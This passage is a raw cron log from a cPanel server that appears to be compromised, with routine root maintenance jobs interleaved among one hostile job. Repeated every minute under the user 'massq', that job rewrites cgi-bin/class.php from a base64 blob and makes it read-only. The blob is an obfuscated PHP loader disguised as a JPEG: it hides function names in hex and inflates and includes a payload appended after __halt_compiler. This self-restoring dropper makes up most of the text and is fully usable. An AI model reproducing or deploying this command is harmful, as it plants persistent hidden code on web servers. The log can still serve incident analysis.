tQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:10:01 server CROND[28925]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 18:10:01 server CROND[28926]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:11:01 server CROND[29745]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:11:01 server CROND[29747]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:11:01 server CROND[29746]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 18:12:01 server CROND[30121]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 18:12:01 server CROND[30122]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 18:12:01 server CROND[30123]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:12:01 server CROND[30124]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:13:01 server CROND[30496]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 18:13:01 server CROND[30497]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:13:01 server CROND[30498]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:14:01 server CROND[30958]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:14:01 server CROND[30959]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 18:14:01 server CROND[30960]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:15:01 server CROND[31338]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 18:15:01 server CROND[31339]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 18:15:01 server CROND[31347]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  6 18:15:01 server CROND[31349]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 18:15:01 server CROND[31342]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:15:01 server CROND[31352]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:15:01 server CROND[31351]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  6 18:15:01 server CROND[31354]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Sep  6 18:15:01 server CROND[31353]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 18:15:01 server CROND[31358]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 18:16:01 server CROND[32183]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 18:16:01 server CROND[32184]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:16:01 server CROND[32185]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:17:01 server CROND[32551]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:17:01 server CROND[32552]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 18:17:01 server CROND[32553]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:18:01 server CROND[511]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:18:01 server CROND[512]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 18:18:01 server CROND[513]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:19:02 server CROND[1017]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:19:02 server CROND[1018]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:19:02 server CROND[1019]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 18:20:01 server CROND[1498]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 18:20:01 server CROND[1499]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 18:20:01 server CROND[1500]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 18:20:01 server CROND[1501]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:20:01 server CROND[1502]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 18:20:01 server CROND[1505]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 18:20:01 server CROND[1503]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:20:01 server CROND[1509]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 18:20:01 server CROND[1506]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 18:21:01 server CROND[2370]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:21:01 server CROND[2372]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:21:01 server CROND[2371]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 18:22:01 server CROND[2782]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
